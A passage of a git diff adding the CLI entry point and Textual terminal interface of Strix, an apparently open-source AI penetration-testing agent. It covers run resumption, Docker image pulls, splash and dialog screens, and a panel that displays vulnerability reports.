run_record = { + "run_id": args.run_name, + "run_name": args.run_name, + "status": "running", + "start_time": datetime.now(UTC).isoformat(), + "end_time": None, + "targets_info": args.targets_info, + "scan_mode": args.scan_mode, + "instruction": args.instruction, + "non_interactive": args.non_interactive, + "local_sources": getattr(args, "local_sources", []), + "diff_scope": getattr(args, "diff_scope", {"active": False}), + "scope_mode": args.scope_mode, + "diff_base": args.diff_base, + } + write_run_record(run_dir, run_record) + + +def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser) -> None: + """Populate ``args.targets_info`` and friends from a prior run's run.json.""" + run_dir = run_dir_for(args.resume) + state_path = run_dir / "run.json" + if not state_path.exists(): + parser.error( + f"--resume {args.resume}: no such run " + f"(missing {state_path}; remove --resume for a fresh start)" + ) + try: + state = read_run_record(run_dir) + except RuntimeError as exc: + parser.error(f"--resume {args.resume}: run.json unreadable: {exc}") + + args.targets_info = state.get("targets_info") or [] + if not args.targets_info: + parser.error(f"--resume {args.resume}: run.json has no targets_info") + + for target in args.targets_info: + if not isinstance(target, dict): + continue + details = target.get("details") or {} + if target.get("type") != "repository": + continue + cloned = details.get("cloned_repo_path") + if not cloned: + continue + if not Path(cloned).expanduser().exists(): + parser.error( + f"--resume {args.resume}: cloned repo at {cloned} is missing. " + f"It was deleted between runs. Pick a fresh --run-name to " + f"re-clone, or restore the directory before resuming." + ) + + if args.instruction is None: + args.instruction = state.get("instruction") + if state.get("local_sources"): + args.local_sources = state.get("local_sources") + if state.get("diff_scope"): + args.diff_scope = state.get("diff_scope") + persisted_scan_mode = state.get("scan_mode") + if persisted_scan_mode and args.scan_mode == "deep": + args.scan_mode = persisted_scan_mode + + +def display_completion_message(args: argparse.Namespace, results_path: Path) -> None: + console = Console() + report_state = get_global_report_state() + + scan_completed = False + if report_state: + scan_completed = report_state.run_record.get("status") == "completed" + + completion_text = Text() + if scan_completed: + completion_text.append("Penetration test completed", style="bold #22c55e") + else: + completion_text.append("SESSION ENDED", style="bold #eab308") + + target_text = Text() + target_text.append("Target", style="dim") + target_text.append(" ") + if len(args.targets_info) == 1: + target_text.append(args.targets_info[0]["original"], style="bold white") + else: + target_text.append(f"{len(args.targets_info)} targets", style="bold white") + for target_info in args.targets_info: + target_text.append("\n ") + target_text.append(target_info["original"], style="white") + + stats_text = build_final_stats_text(report_state) + + panel_parts: list[Text | str] = [completion_text, "\n\n", target_text] + + if stats_text.plain: + panel_parts.extend(["\n", stats_text]) + + results_text = Text() + results_text.append("\n") + results_text.append("Output", style="dim") + results_text.append(" ") + results_text.append(str(results_path), style="#60a5fa") + panel_parts.extend(["\n", results_text]) + + if not scan_completed: + resume_text = Text() + resume_text.append("\n") + resume_text.append("Resume", style="dim") + resume_text.append(" ") + resume_text.append(f"strix --resume {args.run_name}", style="#22c55e") + panel_parts.extend(["\n", resume_text]) + + panel_content = Text.assemble(*panel_parts) + + border_style = "#22c55e" if scan_completed else "#eab308" + + panel = Panel( + panel_content, + title="[bold white]STRIX", + title_align="left", + border_style=border_style, + padding=(1, 2), + ) + + console.print("\n") + console.print(panel) + console.print() + console.print( + "[#60a5fa]strix.ai[/] [dim]·[/] " + "[#60a5fa]docs.strix.ai[/] [dim]·[/] " + "[#60a5fa]discord.gg/strix-ai[/]" + ) + console.print() + + +def pull_docker_image() -> None: + console = Console() + client = check_docker_connection() + + image = load_settings().runtime.image + + if image_exists(client, image): + logger.debug("Docker image already present locally: %s", image) + return + + logger.info("Pulling docker image: %s", image) + console.print() + console.print(f"[dim]Pulling image[/] {image}") + console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]") + console.print() + + with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status: + try: + layers_info: dict[str, str] = {} + last_update = "" + + for line in client.api.pull(image, stream=True, decode=True): + last_update = process_pull_line(line, layers_info, status, last_update) + + except DockerException as e: + logger.exception("Failed to pull docker image %s", image) + console.print() + error_text = Text() + error_text.append("FAILED TO PULL IMAGE", style="bold red") + error_text.append("\n\n", style="white") + error_text.append(f"Could not download: {image}\n", style="white") + error_text.append(str(e), style="dim red") + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print(panel, "\n") + sys.exit(1) + + logger.info("Docker image %s ready", image) + success_text = Text() + success_text.append("Docker image ready", style="#22c55e") + console.print(success_text) + console.print() + + +def main() -> None: + configure_dependency_logging() + + if sys.platform == "win32": + asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) + + args = parse_arguments() + + if args.config: + apply_config_override(validate_config_file(args.config)) + + check_docker_installed() + pull_docker_image() + + validate_environment() + asyncio.run(warm_up_llm()) + + persist_current() + + args.run_name = args.resume or generate_run_name(args.targets_info) + + if not args.resume: + for target_info in args.targets_info: + if target_info["type"] == "repository": + repo_url = target_info["details"]["target_repo"] + dest_name = target_info["details"].get("workspace_subdir") + cloned_path = clone_repository(repo_url, args.run_name, dest_name) + target_info["details"]["cloned_repo_path"] = cloned_path + + args.local_sources = collect_local_sources(args.targets_info) + try: + diff_scope = resolve_diff_scope_context( + local_sources=args.local_sources, + scope_mode=args.scope_mode, + diff_base=args.diff_base, + non_interactive=args.non_interactive, + ) + except ValueError as e: + console = Console() + error_text = Text() + error_text.append("DIFF SCOPE RESOLUTION FAILED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append(str(e), style="white") + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + args.diff_scope = diff_scope.metadata + if diff_scope.instruction_block: + if args.instruction: + args.instruction = f"{diff_scope.instruction_block}\n\n{args.instruction}" + else: + args.instruction = diff_scope.instruction_block + + _persist_run_record(args) + + _telemetry_start_kwargs = { + "model": load_settings().llm.model, + "scan_mode": args.scan_mode, + "is_whitebox": is_whitebox_scan(args.targets_info), + "interactive": not args.non_interactive, + "has_instructions": bool(args.instruction), + } + posthog.start(**_telemetry_start_kwargs) + scarf.start(**_telemetry_start_kwargs) + + exit_reason = "user_exit" + try: + if args.non_interactive: + asyncio.run(run_cli(args)) + else: + asyncio.run(run_tui(args)) + except KeyboardInterrupt: + exit_reason = "interrupted" + except Exception: + exit_reason = "error" + posthog.error("unhandled_exception") + scarf.error("unhandled_exception") + raise + finally: + report_state = get_global_report_state() + if report_state: + status = {"interrupted": "interrupted", "error": "failed"}.get( + exit_reason, + "stopped", + ) + report_state.cleanup(status=status) + posthog.end(report_state, exit_reason=exit_reason) + scarf.end(report_state, exit_reason=exit_reason) + + results_path = run_dir_for(args.run_name) + display_completion_message(args, results_path) + + if args.non_interactive: + report_state = get_global_report_state() + if report_state and report_state.vulnerability_reports: + sys.exit(2) + + +if __name__ == "__main__": + main() diff --git a/strix/interface/tui/__init__.py b/strix/interface/tui/__init__.py new file mode 100644 index 000000000..371ef8127 --- /dev/null +++ b/strix/interface/tui/__init__.py @@ -0,0 +1,6 @@ +"""Textual TUI interface.""" + +from strix.interface.tui.app import StrixTUIApp, run_tui + + +__all__ = ["StrixTUIApp", "run_tui"] diff --git a/strix/interface/tui/app.py b/strix/interface/tui/app.py new file mode 100644 index 000000000..4e43d9795 --- /dev/null +++ b/strix/interface/tui/app.py @@ -0,0 +1,1861 @@ +import argparse +import asyncio +import atexit +import contextlib +import logging +import signal +import sys +import threading +from collections.abc import Callable +from importlib.metadata import PackageNotFoundError +from importlib.metadata import version as pkg_version +from pathlib import Path +from typing import TYPE_CHECKING, Any, ClassVar + + +if TYPE_CHECKING: + from textual.timer import Timer + +from rich.align import Align +from rich.console import Group +from rich.panel import Panel +from rich.style import Style +from rich.text import Span, Text +from textual import events, on +from textual.app import App, ComposeResult +from textual.binding import Binding +from textual.containers import Grid, Horizontal, Vertical, VerticalScroll +from textual.reactive import reactive +from textual.screen import ModalScreen +from textual.widgets import Button, Label, Static, TextArea, Tree +from textual.widgets.tree import TreeNode + +from strix.config import load_settings +from strix.core.hooks import BudgetExceededError +from strix.core.runner import run_strix_scan +from strix.interface.tui.live_view import TuiLiveView +from strix.interface.tui.messages import send_user_message_to_agent +from strix.interface.tui.renderers import render_tool_widget +from strix.interface.tui.renderers.agent_message_renderer import AgentMessageRenderer +from strix.interface.tui.renderers.user_message_renderer import UserMessageRenderer +from strix.interface.utils import build_tui_stats_text +from strix.report.state import ReportState, set_global_report_state +from strix.runtime import session_manager + + +logger = logging.getLogger(__name__) + + +def get_package_version() -> str: + try: + return pkg_version("strix-agent") + except PackageNotFoundError: + return "dev" + + +class ChatTextArea(TextArea): # type: ignore[misc] + def __init__(self, *args: Any, **kwargs: Any) -> None: + super().__init__(*args, **kwargs) + self._app_reference: StrixTUIApp | None = None + + def set_app_reference(self, app: "StrixTUIApp") -> None: + self._app_reference = app + + def on_mount(self) -> None: + self._update_height() + + def _on_key(self, event: events.Key) -> None: + if event.key == "shift+enter": + self.insert("\n") + event.prevent_default() + return + + if event.key == "enter" and self._app_reference: + text_content = str(self.text) # type: ignore[has-type] + message = text_content.strip() + if message: + self.text = "" + + self._app_reference._send_user_message(message) + + event.prevent_default() + return + + super()._on_key(event) + + @on(TextArea.Changed) # type: ignore[misc] + def _update_height(self, _event: TextArea.Changed | None = None) -> None: + if not self.parent: + return + + line_count = self.document.line_count + target_lines = min(max(1, line_count), 8) + + new_height = target_lines + 2 + + if self.parent.styles.height != new_height: + self.parent.styles.height = new_height + self.scroll_cursor_visible() + + +class SplashScreen(Static): # type: ignore[misc] + ALLOW_SELECT = False + PRIMARY_GREEN = "#22c55e" + BANNER = ( + " ███████╗████████╗██████╗ ██╗██╗ ██╗\n" + " ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝\n" + " ███████╗ ██║ ██████╔╝██║ ╚███╔╝\n" + " ╚════██║ ██║ ██╔══██╗██║ ██╔██╗\n" + " ███████║ ██║ ██║ ██║██║██╔╝ ██╗\n" + " ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝" + ) + + def __init__(self, *args: Any, **kwargs: Any) -> None: + super().__init__(*args, **kwargs) + self._animation_step = 0 + self._animation_timer: Timer | None = None + self._panel_static: Static | None = None + self._version = "dev" + + def compose(self) -> ComposeResult: + self._version = get_package_version() + self._animation_step = 0 + start_line = self._build_start_line_text(self._animation_step) + panel = self._build_panel(start_line) + + panel_static = Static(panel, id="splash_content") + self._panel_static = panel_static + yield panel_static + + def on_mount(self) -> None: + self._animation_timer = self.set_interval(0.05, self._animate_start_line) + + def on_unmount(self) -> None: + if self._animation_timer is not None: + self._animation_timer.stop() + self._animation_timer = None + + def _animate_start_line(self) -> None: + if not self._panel_static: + return + + self._animation_step += 1 + start_line = self._build_start_line_text(self._animation_step) + panel = self._build_panel(start_line) + self._panel_static.update(panel) + + def _build_panel(self, start_line: Text) -> Panel: + content = Group( + Align.center(Text(self.BANNER.strip("\n"), style=self.PRIMARY_GREEN, justify="center")), + Align.center(Text(" ")), + Align.center(self._build_welcome_text()), + Align.center(self._build_version_text()), + Align.center(self._build_tagline_text()), + Align.center(Text(" ")), + Align.center(start_line.copy()), + Align.center(Text(" ")), + Align.center(self._build_url_text()), + ) + + return Panel.fit(content, border_style=self.PRIMARY_GREEN, padding=(1, 6)) + + def _build_url_text(self) -> Text: + return Text("strix.ai", style=Style(color=self.PRIMARY_GREEN, bold=True)) + + def _build_welcome_text(self) -> Text: + text = Text("Welcome to ", style=Style(color="white", bold=True)) + text.append("Strix", style=Style(color=self.PRIMARY_GREEN, bold=True)) + text.append("!", style=Style(color="white", bold=True)) + return text + + def _build_version_text(self) -> Text: + return Text(f"v{self._version}", style=Style(color="white", dim=True)) + + def _build_tagline_text(self) -> Text: + return Text("Open-source AI hackers for your apps", style=Style(color="white", dim=True)) + + def _build_start_line_text(self, phase: int) -> Text: + full_text = "Starting Strix Agent" + text_len = len(full_text) + + shine_pos = phase % (text_len + 8) + + text = Text() + for i, char in enumerate(full_text): + dist = abs(i - shine_pos) + + if dist <= 1: + style = Style(color="bright_white", bold=True) + elif dist <= 3: + style = Style(color="white", bold=True) + elif dist <= 5: + style = Style(color="#a3a3a3") + else: + style = Style(color="#525252") + + text.append(char, style=style) + + return text + + +class HelpScreen(ModalScreen): # type: ignore[misc] + def compose(self) -> ComposeResult: + yield Grid( + Label("Strix Help", id="help_title"), + Label( + "F1 Help\nCtrl+Q/C Quit\nESC Stop Agent\n" + "Enter Send message to agent\nTab Switch panels\n↑/↓ Navigate tree", + id="help_content", + ), + id="dialog", + ) + + def on_key(self, _event: events.Key) -> None: + self.app.pop_screen() + + +class StopAgentScreen(ModalScreen): # type: ignore[misc] + def __init__(self, agent_name: str, agent_id: str): + super().__init__() + self.agent_name = agent_name + self.agent_id = agent_id + + def compose(self) -> ComposeResult: + yield Grid( + Label(f"🛑 Stop '{self.agent_name}'?", id="stop_agent_title"), + Grid( + Button("Yes", variant="error", id="stop_agent"), + Button("No", variant="default", id="cancel_stop"), + id="stop_agent_buttons", + ), + id="stop_agent_dialog", + ) + + def on_mount(self) -> None: + cancel_button = self.query_one("#cancel_stop", Button) + cancel_button.focus() + + def on_key(self, event: events.Key) -> None: + if event.key in ("left", "right", "up", "down"): + focused = self.focused + + if focused and focused.id == "stop_agent": + cancel_button = self.query_one("#cancel_stop", Button) + cancel_button.focus() + else: + stop_button = self.query_one("#stop_agent", Button) + stop_button.focus() + + event.prevent_default() + elif event.key == "enter": + focused = self.focused + if focused and isinstance(focused, Button): + focused.press() + event.prevent_default() + elif event.key == "escape": + self.app.pop_screen() + event.prevent_default() + + def on_button_pressed(self, event: Button.Pressed) -> None: + self.app.pop_screen() + if event.button.id == "stop_agent": + self.app.action_confirm_stop_agent(self.agent_id) + + +class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc] + SEVERITY_COLORS: ClassVar[dict[str, str]] = { + "critical": "#dc2626", # Red + "high": "#ea580c", # Orange + "medium": "#d97706", # Amber + "low": "#22c55e", # Green + "info": "#3b82f6", # Blue + } + + FIELD_STYLE: ClassVar[str] = "bold #4ade80" + + def __init__(self, vulnerability: dict[str, Any]) -> None: + super().__init__() + self.vulnerability = vulnerability + + def compose(self) -> ComposeResult: + content = self._render_vulnerability() + yield Grid( + VerticalScroll(Static(content, id="vuln_detail_content"), id="vuln_detail_scroll"), + Horizontal( + Button("Copy", variant="default", id="copy_vuln_detail"), + Button("Done", variant="default", id="close_vuln_detail"), + id="vuln_detail_buttons", + ), + id="vuln_detail_dialog", + ) + + def on_mount(self) -> None: + close_button = self.query_one("#close_vuln_detail", Button) + close_button.focus() + + def _get_cvss_color(self, cvss_score: float) -> str: + if cvss_score >= 9.0: + return "#dc2626" + if cvss_score >= 7.0: + return "#ea580c" + if cvss_score >= 4.0: + return "#d97706" + if cvss_score >= 0.1: + return "#65a30d" + return "#6b7280" + + def _highlight_python(self, code: str) -> Text: + try: + from pygments.lexers import PythonLexer + from pygments.styles import get_style_by_name + + lexer = PythonLexer() + style = get_style_by_name("native") + colors = { + token: f"#{style_def['color']}" for token, style_def in style if style_def["color"] + } + + text = Text() + for token_type, token_value in lexer.get_tokens(code): + if not token_value: + continue + color = None + tt = token_type + while tt: + if tt in colors: + color = colors[tt] + break + tt = tt.parent + text.append(token_value, style=color) + except (ImportError, KeyError, AttributeError): + return Text(code) + else: + return text + + def _render_vulnerability(self) -> Text: + vuln = self.vulnerability + text = Text() + + text.append("🐞 ") + text.append("Vulnerability Report", style="bold #ea580c") + + agent_name = vuln.get("agent_name", "") + if agent_name: + text.append("\n\n") + text.append("Agent: ", style=self.FIELD_STYLE) + text.append(agent_name) + + title = vuln.get("title", "") + if title: + text.append("\n\n") + text.append("Title: ", style=self.FIELD_STYLE) + text.append(title) + + severity = vuln.get("severity", "") + if severity: + text.append("\n\n") + text.append("Severity: ", style=self.FIELD_STYLE) + severity_color = self.SEVERITY_COLORS.get(severity.lower(), "#6b7280") + text.append(severity.upper(), style=f"bold {severity_color}") + + cvss_score = vuln.get("cvss") + if cvss_score is not None: + text.append("\n\n") + text.append("CVSS Score: ", style=self.FIELD_STYLE) + cvss_color = self._get_cvss_color(float(cvss_score)) + text.append(str(cvss_score), style=f"bold {cvss_color}") + + target = vuln.get("target", "") + if target: + text.append("\n\n") + text.append("Target: ", style=self.FIELD_STYLE) + text.append(target) + + endpoint = vuln.get("endpoint", "") + if endpoint: + text.append("\n\n") + text.append("Endpoint: ", style=self.FIELD_STYLE) + text.append(endpoint) + + method = vuln.get("method", "") + if method: + text.append("\n\n") + text.append("Method: ", style=self.FIELD_STYLE) + text.append(method) + + cve = vuln.get("cve", "") + if cve: + text.append("\n\n") + text.append("CVE: ", style=self.FIELD_STYLE) + text.append(cve) + + cvss_breakdown = vuln.get("cvss_breakdown", {}) + if cvss_breakdown: + cvss_parts = [] + if cvss_breakdown.get("attack_vector"): + cvss_parts.append(f"AV:{cvss_breakdown['attack_vector']}") + if cvss_breakdown.get("attack_complexity"): + cvss_parts.append(f"AC:{cvss_breakdown['attack_complexity']}") + if cvss_breakdown.get("privileges_required"): + cvss_parts.append(f"PR:{cvss_breakdown['privileges_required']}") + if cvss_breakdown.get("user_interaction"): + cvss_parts.append(f"UI:{cvss_breakdown['user_interaction']}") + if cvss_breakdown.get("scope"): + cvss_parts.append(f"S:{cvss_breakdown['scope']}") + if cvss_breakdown.get("confidentiality"): + cvss_parts.append(f"C:{cvss_breakdown['confidentiality']}") + if cvss_breakdown.get("integrity"): + cvss_parts.append(f"I:{cvss_breakdown['integrity']}") + if cvss_breakdown.get("availability"): + cvss_parts.append(f"A:{cvss_breakdown['availability']}") + if cvss_parts: + text.append("\n\n") + text.append("CVSS Vector: ", style=self.FIELD_STYLE) + text.append("/".join(cvss_parts), style="dim") + + description = vuln.get("description", "") + if description: + text.append("\n\n") + text.append("Description", style=self.FIELD_STYLE) + text.append("\n") + text.append(description) + + impact = vuln.get("impact", "") + if impact: + text.append("\n\n") + text.append("Impact", style=self.FIELD_STYLE) + text.append("\n") + text.append(impact) + + technical_analysis = vuln.get("technical_analysis", "") + if technical_analysis: + text.append("\n\n") + text.append("Technical Analysis", style=self.FIELD_STYLE) + text.append("\n") + text.append(technical_analysis) + + poc_description = vuln.get("poc_description", "") + if poc_description: + text.append("\n\n") + text.append("PoC Description", style=self.FIELD_STYLE) + text.append("\n") + text.append(poc_description) + + poc_script_code = vuln.get("poc_script_code", "") + if poc_script_code: + text.append("\n\n") + text.append("PoC Code", style=self.FIELD_STYLE) + text.append("\n") + text.append_text(self._highlight_python(poc_script_code)) + + remediation_steps = vuln.get("remediation_steps", "") + if remediation_steps: + text.append("\n\n") + text.append("Remediation", style=self.FIELD_STYLE) + text.append("\n") + text.append(remediation_steps) + + return text + + def _get_markdown_report(self) -> str: + """Get Markdown version of vulnerability report for clipboard.""" + vuln = self.vulnerability + lines: list[str] = [] + + title = vuln.get("title", "Untitled Vulnerability") + lines.append(f"# {title}") + lines.append("") + + if vuln.get("id"): + lines.append(f"**ID:** {vuln['id']}") + if vuln.get("severity"): + lines.append(f"**Severity:** {vuln['severity'].upper()}") + if vuln.get("timestamp"): + lines.append(f"**Found:** {vuln['timestamp']}") + if vuln.get("agent_name"): + lines.append(f"**Agent:** {vuln['agent_name']}") + if vuln.get("target"): + lines.append(f"**Target:** {vuln['target']}") + if vuln.get("endpoint"): + lines.append(f"**Endpoint:** {vuln['endpoint']}") + if vuln.get("method"): + lines.append(f"**Method:** {vuln['method']}") + if vuln.get("cve"): + lines.append(f"**CVE:** {vuln['cve']}") + if vuln.get("cvss") is not None: + lines.append(f"**CVSS:** {vuln['cvss']}") + + cvss_breakdown = vuln.get("cvss_breakdown", {}) + if cvss_breakdown: + abbrevs = { + "attack_vector": "AV", + "attack_complexity": "AC", + "privileges_required": "PR", + "user_interaction": "UI", + "scope": "S", + "confidentiality": "C", + "integrity": "I", + "availability": "A", + } + parts = [ + f"{abbrevs.get(k, k)}:{v}" for k, v in cvss_breakdown.items() if v and k in abbrevs + ] + if parts: + lines.append(f"**CVSS Vector:** {'/'.join(parts)}") + + lines.append("") + lines.append("## Description") + lines.append("") + lines.append(vuln.get("description") or "No description provided.") + + if vuln.get("impact"): + lines.extend(["", "## Impact", "", vuln["impact"]]) + + if vuln.get("technical_analysis"): + lines.extend(["", "## Technical Analysis", "", vuln["technical_analysis"]]) + + if vuln.get("poc_description") or vuln.get("poc_script_code"): + lines.extend(["", "## Proof of Concept", ""]) + if vuln.get("poc_description"): + lines.append(vuln["poc_description"]) + lines.append("") + if vuln.get("poc_script_code"): + lines.append("```python") + lines.append(vuln["poc_script_code"]) + lines.append("```") + + if vuln.get("code_locations"): + lines.extend(["", "## Code Analysis", ""]) + for i, loc in enumerate(vuln["code_locations"]): + file_ref = loc.get("file", "unknown") + line_ref = "" + if loc.get("start_line") is not None: + if loc.get("end_line") and loc["end_line"] != loc["start_line"]: + line_ref = f" (lines {loc['start_line']}-{loc['end_line']})" + else: + line_ref = f" (line {loc['start_line']})" + lines.append(f"**Location {i + 1}:** `{file_ref}`{line_ref}") + if loc.get("label"): + lines.append(f" {loc['label']}") + if loc.get("snippet"): + lines.append(f"```\n{loc['snippet']}\n```") + if loc.get("fix_before") or loc.get("fix_after"): + lines.append("**Suggested Fix:**") + lines.append("```diff") + if loc.get("fix_before"): + lines.extend(f"- {line}" for line in loc["fix_before"].splitlines()) + if loc.get("fix_after"): + lines.extend(f"+ {line}" for line in loc["fix_after"].splitlines()) + lines.append("```") + lines.append("") + + if vuln.get("remediation_steps"): + lines.extend(["", "## Remediation", "", vuln["remediation_steps"]]) + + lines.append("") + return "\n".join(lines) + + def on_key(self, event: events.Key) -> None: + if event.key == "escape": + self.app.pop_screen() + event.prevent_default() + + def on_button_pressed(self, event: Button.Pressed) -> None: + if event.button.id == "copy_vuln_detail": + markdown_text = self._get_markdown_report() + self.app.copy_to_clipboard(markdown_text) + + copy_button = self.query_one("#copy_vuln_detail", Button) + copy_button.label = "Copied!" + self.set_timer(1.5, lambda: setattr(copy_button, "label", "Copy")) + elif event.button.id == "close_vuln_detail": + self.app.pop_screen() + + +class VulnerabilityItem(Static): # type: ignore[misc] + def __init__(self, label: Text, vuln_data: dict[str, Any], **kwargs: Any) -> None: + super().__init__(label, **kwargs) + self.vuln_data = vuln_data + + def on_click(self, _event: events.Click) -> None: + """Handle click to open vulnerability detail.""" + self.app.push_screen(VulnerabilityDetailScreen(self.vuln_data)) + + +class VulnerabilitiesPanel(VerticalScroll): # type: ignore[misc] + SEVERITY_COLORS: ClassVar[dict[str, str]] = { + "critical": "#dc2626", # Red + "high": "#ea580c", # Orange + "medium": "#d97706", # Amber + "low": "#22c55e", # Green + "info": "#3b82f6", # Blue + } + + def __init__(self, *args: Any, **kwargs: Any) -> None: + super().__init__(*args, **kwargs) + self._vulnerabilities: list[dict[str, Any]] = [] + + def compose(self) -> ComposeResult: + return [] + + def update_vulnerabilities(self, vulnerabilities: list[dict[str, Any]]) -> None: + """Update the list of vulnerabilities and re-render.""" + if self._vulnerabilities == vulnerabilities: + return + self._vulnerabilities = list(vulnerabilities) + self._render_panel() + + def _render_panel(self) -> None: + """Render the vulnerabilities panel content.""" + for child in list(self.children): + if isinstance(child, VulnerabilityItem): + child.remove() + + if not self._vulnerabilities: + return + + for vuln in self._vulnerabilities: + severity = vuln.get("severity", "info").lower() + title = vuln.get("title", "Unknown Vulnerability") + color = self.SEVERITY_COLORS.get(severity, "#3b82f6") + + label = Text() + label.append("● ", style=Style(color=color)) + label.append(title, style=Style(color="#d4d4d4")) + + item = VulnerabilityItem(label, vuln, classes="vuln-item") + self.mount(item) + + +class QuitScreen(ModalScreen): # type: ignore[misc] + def compose(self) -> ComposeResult: + yield Grid( + Label("Quit Strix?", id="quit_title"), + Grid( + Button("Yes", variant="error", id="quit"), + Button("No", variant="default", id="cancel"), + id="quit_buttons", + ), + id="quit_dialog", + ) + + def on_mount(self) -> None: + cancel_button = self.query_one("#cancel", Button) + cancel_button.focus() + + def on_key(self, event: events.Key) -> None: + if event.key in ("left", "right", "up", "down"): + focused = self.focused + + if focused and focused.id == "quit": + cancel_button = self.query_one("#cancel", Button) + cancel_button.focus() + else: + quit_button = self.query_one("#quit", Button) + quit_button.focus() + + event.prevent_default() + elif event.key == "enter": + focused = self.focused + if focused and isinstance(focused, Button): + focused.press() + event.prevent_default() + elif event.key == "escape": + self.app.pop_screen() + event.prevent_default() + + async def on_button_pressed(self, event: Button.Pressed) -> None: + if event.button.id == "quit": + await self.app.action_custom_quit() + else: + self.app.pop_screen() + + +class StrixTUIApp(App): # type: ignore[misc] + CSS_PATH = str(Path(__file__).resolve().parent.parent / "assets" / "tui_styles.tcss") + ALLOW_SELECT = True + + SIDEBAR_MIN_WIDTH = 120 + + selected_agent_id: reactive[str | None] = reactive(default=None) + show_splash: reactive[bool] = reactive(default=True) + + BINDINGS: ClassVar[list[Binding]] = [ + Binding("f1", "toggle_help", "Help", priority=True), + Binding("ctrl+q", "request_quit", "Quit", priority=True), + Binding("ctrl+c", "request_quit", "Quit", priority=True), + Binding("escape", "stop_selected_agent", "Stop Agent", priority=True), + ] + + def __init__(self, args: argparse.Namespace): + super().__init__() + self.args = args + self.scan_config = self._build_scan_config(args) + + self.report_state = ReportState(self.scan_config["run_name"]) + self.report_state.hydrate_from_run_dir() + self.report_state.set_scan_config(self.scan_config) + self.report_state.save_run_data() + set_global_report_state(self.report_state) + self.live_view = TuiLiveView() + self.live_view.hydrate_from_run_dir(self.report_state.get_run_dir()) + self._agent_graph_sync_future: Any | None = None + + from strix.core.agents import AgentCoordinator + + self.coordinator = AgentCoordinator() + + self.agent_nodes: dict[str, TreeNode] = {} + + self._displayed_agents: set[str] = set() + self._displayed_events: list[str] = [] + + self._scan_thread: threading.Thread | None = None + self._scan_loop: asyncio.AbstractEventLoop | None = None + self._scan_stop_event = threading.Event() + self._scan_completed = threading.Event() + self._scan_error: BaseException | None = None + + self._spinner_frame_index: int = 0 + self._sweep_num_squares: int = 6 + self._sweep_colors: list[str] = [ + "#000000", # Dimmest (shows dot) + "#031a09", + "#052e16", + "#0d4a2a", + "#15803d", + "#22c55e", + "#4ade80", + "#86efac", # Brightest + ] + self._dot_animation_timer: Any | None = None + + self._setup_cleanup_handlers() + + def _build_scan_config(self, args: argparse.Namespace) -> dict[str, Any]: + return { + "scan_id": args.run_name, + "targets": args.targets_info, + "user_instructions": args.instruction or "", + "run_name": args.run_name, + "diff_scope": getattr(args, "diff_scope", {"active": False}), + "scan_mode": getattr(args, "scan_mode", "deep"), + "non_interactive": bool(getattr(args, "non_interactive", False)), + "local_sources": getattr(args, "local_sources", None) or [], + "scope_mode": getattr(args, "scope_mode", "auto"), + "diff_base": getattr(args, "diff_base", None), + "resume_instruction": getattr(args, "user_explicit_instruction", None) or "", + } + + def _setup_cleanup_handlers(self) -> None: + def cleanup_on_exit() -> None: + self.report_state.cleanup() + + def signal_handler(_signum: int, _frame: Any) -> None: + self._fire_sandbox_cleanup() + self.report_state.cleanup(status="interrupted") + sys.exit(0) + + atexit.register(cleanup_on_exit) + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + if hasattr(signal, "SIGHUP"): + signal.signal(signal.SIGHUP, signal_handler) + + def compose(self) -> ComposeResult: + if self.show_splash: + yield SplashScreen(id="splash_screen") + + def watch_show_splash(self, show_splash: bool) -> None: + if not show_splash and self.is_mounted: + try: + splash = self.query_one("#splash_screen") + splash.remove() + except ValueError: + pass + + main_container = Vertical(id="main_container") + + self.mount(main_container) + + content_container = Horizontal(id="content_container") + main_container.mount(content_container) + + chat_area_container = Vertical(id="chat_area_container") + + chat_display = Static("", id="chat_display") + chat_history = VerticalScroll(chat_display, id="chat_history") + chat_history.can_focus = True + + status_text = Static("", id="status_text") + status_text.ALLOW_SELECT = False + keymap_indicator = Static("", id="keymap_indicator") + keymap_indicator.ALLOW_SELECT = False + + agent_status_display = Horizontal( + status_text, keymap_indicator, id="agent_status_display", classes="hidden" + ) + + chat_prompt = Static("> ", id="chat_prompt") + chat_prompt.ALLOW_SELECT = False + chat_input = ChatTextArea( + "", + id="chat_input", + show_line_numbers=False, + ) + chat_input.set_app_reference(self) + chat_input_container = Horizontal(chat_prompt, chat_input, id="chat_input_container") + + agents_tree = Tree("Agents", id="agents_tree") + agents_tree.root.expand() + agents_tree.show_root = False + + agents_tree.show_guide = True + agents_tree.guide_depth = 3 + agents_tree.guide_style = "dashed" + + stats_display = Static("", id="stats_display") + stats_scroll = VerticalScroll(stats_display, id="stats_scroll") + + vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel") + + sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar") + + content_container.mount(chat_area_container) + content_container.mount(sidebar) + + chat_area_container.mount(chat_history) + chat_area_container.mount(agent_status_display) + chat_area_container.mount(chat_input_container) + + self.call_after_refresh(self._focus_chat_input) + + def _focus_chat_input(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + chat_input = self.query_one("#chat_input", ChatTextArea) + chat_input.show_vertical_scrollbar = False + chat_input.show_horizontal_scrollbar = False + chat_input.focus() + except (ValueError, Exception): + self.call_after_refresh(self._focus_chat_input) + + def _focus_agents_tree(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + agents_tree = self.query_one("#agents_tree", Tree) + agents_tree.focus() + + if agents_tree.root.children: + first_node = agents_tree.root.children[0] + agents_tree.select_node(first_node) + except (ValueError, Exception): + self.call_after_refresh(self._focus_agents_tree) + + def on_mount(self) -> None: + self.title = "strix" + + self.set_timer(4.5, self._hide_splash_screen) + + def 